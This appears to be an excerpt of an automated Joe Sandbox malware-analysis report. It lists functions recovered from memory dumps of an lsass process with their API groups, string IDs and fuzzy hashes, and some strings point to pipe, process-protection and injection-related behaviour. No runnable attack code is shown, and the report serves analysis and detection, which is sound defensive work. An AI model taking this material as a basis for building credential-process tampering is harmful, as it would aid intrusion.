2d6f1519ce4 732->736 737 2d6f151a8ba-2d6f151a8c2 732->737 771 2d6f151a648-2d6f151a652 call 2d6f1519634 734->771 772 2d6f151a62a-2d6f151a62e 734->772 736->737 747 2d6f151a8db-2d6f151a8e3 736->747 737->717 738 2d6f151a8c8-2d6f151a8d5 call 2d6f15198b4 737->738 738->717 738->747 744 2d6f151a719-2d6f151a74b 739->744 749 2d6f151a887-2d6f151a88e 744->749 750 2d6f151a751-2d6f151a75c 744->750 752 2d6f151a8e9-2d6f151a8ed 747->752 753 2d6f151a9f6-2d6f151aa12 call 2d6f1519634 * 2 call 2d6f151c6a8 747->753 749->728 749->744 750->749 754 2d6f151a762-2d6f151a77b 750->754 756 2d6f151a900 752->756 757 2d6f151a8ef-2d6f151a8fe call 2d6f1519ce4 752->757 753->707 758 2d6f151a781-2d6f151a7c6 call 2d6f1519cf8 * 2 754->758 759 2d6f151a874-2d6f151a879 754->759 767 2d6f151a903-2d6f151a90d call 2d6f151b4ac 756->767 757->767 784 2d6f151a7c8-2d6f151a7ee call 2d6f1519cf8 call 2d6f151ac38 758->784 785 2d6f151a804-2d6f151a80a 758->785 764 2d6f151a884 759->764 764->749 767->717 782 2d6f151a913-2d6f151a961 call 2d6f1519944 call 2d6f1519b50 767->782 771->711 788 2d6f151a654-2d6f151a674 call 2d6f1519634 * 2 call 2d6f151b4ac 771->788 772->771 776 2d6f151a630-2d6f151a63b 772->776 776->771 781 2d6f151a63d-2d6f151a642 776->781 781->707 781->771 782->717 803 2d6f151a7f0-2d6f151a802 784->803 804 2d6f151a815-2d6f151a872 call 2d6f151a470 784->804 790 2d6f151a87b 785->790 791 2d6f151a80c-2d6f151a810 785->791 809 2d6f151a676-2d6f151a680 call 2d6f151b59c 788->809 810 2d6f151a68b 788->810 796 2d6f151a880 790->796 791->758 796->764 803->784 803->785 804->796 813 2d6f151a686-2d6f151a9ef call 2d6f15192ac call 2d6f151aff4 call 2d6f15194a0 809->813 814 2d6f151a9f0-2d6f151a9f5 call 2d6f151c6a8 809->814 810->711 813->814 814->753
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                                                • Instruction ID: c723f1f196541d97861d438692a693aba2ea927f234d4d4577a4b0ac93f6314a
                                                                • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                                                • Instruction Fuzzy Hash: C6E15DB6604B808AEB629FA5E44C39D77A0F745BD8F100517EE8E67F99CB38D991C700
                                                                Function 000002D6F151F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: AddressFreeLibraryProc
                                                                • String ID: api-ms-$ext-ms-
                                                                • API String ID: 3013587201-537541572
                                                                • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                                                • Instruction ID: 261ecf9bf2a1f0678fa278aa22b30c90f33c111913abcd05092592ff9b1f8fec
                                                                • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                                                • Instruction Fuzzy Hash: B44192A2311E409AEA1BCF26B84C7566395B749BE0F5941279D1FA7F84EE3CCC498350
                                                                Function 000002D6F151104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                                                • String ID: d
                                                                • API String ID: 3743429067-2564639436
                                                                • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                                                • Instruction ID: 7c308a324f3a3b915ae5c740d95f6965976605312a1237647059209b5cbc419f
                                                                • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                                                • Instruction Fuzzy Hash: AC413D73614F84CAEB61CF21E44879AB7A1F388B98F54811ADA8A17B58DF3CD945CB40
                                                                Function 000002D6F151D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                • FlsGetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D087
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0A6
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0CE
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0DF
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0F0
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Value
                                                                • String ID: 1%$Y%
                                                                • API String ID: 3702945584-1395475152
                                                                • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                                                • Instruction ID: 2480a359072ec50eb541e18d4b91d9545f280b7cfca78c1f54feae84ed9f0741
                                                                • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                                                • Instruction Fuzzy Hash: A61103E0705E444AFA6A5F36755E36962429B447F0F144727983F67EDAEE2CDC428600
                                                                Function 000002D6F1517510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID:
                                                                • API String ID: 190073905-0
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: 9e9a13fecbd3ee6dd4b9af7d8544c3df26673650e91134e0a1763e142b039acf
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: 8A81B0E1600E418EFB56AF6DB84D3992691A7857C0F544827AA0F67F97EB7CCC468700
                                                                Function 000002D6F1519DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Library$Load$AddressErrorFreeLastProc
                                                                • String ID: api-ms-
                                                                • API String ID: 2559590344-2084034818
                                                                • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                                                • Instruction ID: 1b9a7946070453fa793877a5e81080cf6b3e7f40ad096b1fe8965e9392f62bd4
                                                                • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                                                • Instruction Fuzzy Hash: E331A3A2212E40EDEE17DF42F41C7552294B748BE4F590A269D2F1BB94EF3DC8858310
                                                                Function 000002D6F1523DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                • String ID: CONOUT$
                                                                • API String ID: 3230265001-3130406586
                                                                • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                                                • Instruction ID: f7805de5885bb23c4ed2acbf2a3bac675694138274e2d29da4d1e0af9514ac00
                                                                • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                                                • Instruction Fuzzy Hash: D8112BA2210FC08AE7908B56F85D71966A0F788FE4F144226EE5F87B94DB7CC9158744
                                                                Function 000002D6F1513790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModule
                                                                • String ID: wr
                                                                • API String ID: 1092925422-2678910430
                                                                • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction ID: 56a1fc91981ff5b9860e83c331195b973d21dc503a25c2b603b9cee17e6af388
                                                                • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction Fuzzy Hash: FD1157AA705B81CAEF559F21F41C66962B0FB88BD5F44042ADE8E07B94EF3DCA05C704
                                                                Function 000002D6F1515B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Thread$Current$Context
                                                                • String ID:
                                                                • API String ID: 1666949209-0
                                                                • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                                                • Instruction ID: 48f46886f9a4c9f0af87d4b559936913019cc1f1eed6d2fcc966534f28762692
                                                                • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                                                • Instruction Fuzzy Hash: 76D187B6214F8889DA719F1AF49835A77A0F389BC4F104216EA8E57BA5DF7CC941CF40
                                                                Function 000002D6F1512F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID: dialer
                                                                • API String ID: 756756679-3528709123
                                                                • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction ID: 6f7c6b014d4bd7126e3bbbff313cacc6244a2be32cd63f79b011c0dee58239f0
                                                                • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction Fuzzy Hash: F631CDA2301F918AEB56CF16F54C72A67A0FB44BC0F1880269E4E57F55EF3CD8A18300
                                                                Function 000002D6F15114A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Free
                                                                • String ID: C:\Windows\system32\lsass.exe
                                                                • API String ID: 3168794593-3553486595
                                                                • Opcode ID: d27b9b8ca154d9eedff1e610dfbacc8608a6d25d7c3fe3b6d17278c798082fda
                                                                • Instruction ID: 4c3fb5dbda590ede340f70e239d951b1946e93fc28bd49ed613bd9f4bb13803d
                                                                • Opcode Fuzzy Hash: d27b9b8ca154d9eedff1e610dfbacc8608a6d25d7c3fe3b6d17278c798082fda
                                                                • Instruction Fuzzy Hash: 77219EEB509ED08EF651DF25B89D29D27A0F749BC4F194017DF4E93A43DA2DAC048700
                                                                Function 000002D6F151CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Value$ErrorLast
                                                                • String ID:
                                                                • API String ID: 2506987500-0
                                                                • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                                                • Instruction ID: 64ae360e53322a3fe6ae1786423e02a03aa622958712b9455162e794dcab319a
                                                                • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                                                • Instruction Fuzzy Hash: 931157E0301E804AFA6A9F35765D73952529B447F0F144717983F67FD6DE6DCC428600
                                                                Function 000002D6F151199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                                                • String ID:
                                                                • API String ID: 517849248-0
                                                                • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                                                • Instruction ID: cff459d1bd899cdfd44676a5a381a09abba527aeb6cc39614b6ef60cc1fcaaaf
                                                                • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                                                • Instruction Fuzzy Hash: 070129B2300E808AEB54DB62B89C75967A5F788BC4F984036DE4E53B55DF3CC989C740
                                                                Function 000002D6F15136C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                                                • String ID:
                                                                • API String ID: 449555515-0
                                                                • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction ID: 4cb24c3c5e9fa141b5df1c6a7c4a8c5dc67f34b77b6b13790439d7932f787d30
                                                                • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction Fuzzy Hash: 320129A6611F808AFF659B22F81C71963B0BB49BC6F04042ACE4E07B64EF3DC919C704
                                                                Function 000002D6F1518FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 2395640692-629598281
                                                                • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                                                • Instruction ID: 3b0e631b75504db4463a701d796cd14c903cf2e77cba2ed9bb482b335b50820a
                                                                • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                                                • Instruction Fuzzy Hash: 7C518AB2601A408EEB16DF15F85CB5937A6F384BC8F55852ADE0B67B88DB39DD81C700
                                                                Function 000002D6F1513044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CombinePath
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3422762182-91387939
                                                                • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                                                • Instruction ID: 3e4723502f59a8f1e07ded70428830228723a6d762285bf7447ffc8a7d9f86c1
                                                                • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                                                • Instruction Fuzzy Hash: 16F01CA6714FC486EA548F57B91C11966A1BB58FE0F089132EE4F57F18DF3CC8558700
                                                                Function 000002D6F151BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: AddressFreeHandleLibraryModuleProc
                                                                • String ID: CorExitProcess$mscoree.dll
                                                                • API String ID: 4061214504-1276376045
                                                                • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                                                • Instruction ID: 23a4a7cfba681eafd7acd153de910ccfab7048bd4207ecad1fa1577b34c1d807
                                                                • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                                                • Instruction Fuzzy Hash: 55F06DA2211E8585EB248F24F84C3696330EB99BE5F94121ACE6F46AE4CF2CC9488340
                                                                Function 000002D6F15150D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                                                • Instruction ID: 42075970a9a9322463efdc1a56445cb29a1d8840ca77651260a4224c7a6fbde6
                                                                • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                                                • Instruction Fuzzy Hash: 7302B576219B848AEB61CF55F49835AB7A1F3857D4F100016EA8E97BA9DB7CC884CF00
                                                                Function 000002D6F1515710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                                                • Instruction ID: 3ee684a2051b0626537bb21df19f72d7656a23c79b275dde9432cc418d5cd82d
                                                                • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                                                • Instruction Fuzzy Hash: 4461B2B6529E84CAEA618F15F49D31AB7A1F3897C4F100116EA8E57FA8DB7CC841CF40
                                                                Function 000002D6F14F3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: ba703c9331ee713b56c495894a3d73b0a2062aaebb232e8d6e30e25fb009abb4
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: 12117323A14E5119FBA41769F45D36911816BD93F4F889A3AAA770FFDECA2CCC45C110
                                                                Function 000002D6F1524104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: 424267331a93190a57d2639305031bc8998964835541697d1ff8627115ec689c
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: E11173A7B10FD119F7641768F45D36621416F783F8F280626EA7F17ED6CA6CCC418200
                                                                Function 000002D6F14EF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: _invalid_parameter_noinfo
                                                                • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                                                • API String ID: 3215553584-4202648911
                                                                • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction ID: e6160abfd5a2cc9cf80f440168c8954cb50692cc9a53660c5a43eaca46e9ff2f
                                                                • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction Fuzzy Hash: C3619C72601E448AFA6DCB69F54C32AAAA1A7C67C0F55451BCA0B07FECDB3DCE458301
                                                                Function 000002D6F151AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CallEncodePointerTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3544855599-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: 1d7432d42cb839326b1ec519d8e3b4db095f3ae002e7f932d77f27b7b20c2c01
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: 556158B7600B848AEB22DFA5E44879D77A0F344BDCF044616EE4E27B98DB78C995C700
                                                                Function 000002D6F14EA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: cfee3a79a6332420dfddfd621a8844a6e200f43d99eb8e2e0c62dd5cb1a16251
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: 89517C32100A80CEEB64CB25A54C35877A1F795BD4F288217DA9A87FD9CB7CDA90CB11
                                                                Function 000002D6F151AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: a1fa52ff5b8a92164aef8a90dc21d442fce71749ed4764205dc9c63b39132c2b
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: 72517CB6100AC08EEB668FA5A48C35977A0F354BD9F144217DA9EA7FD5CB3CD891C701
                                                                Function 000002D6F14E8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
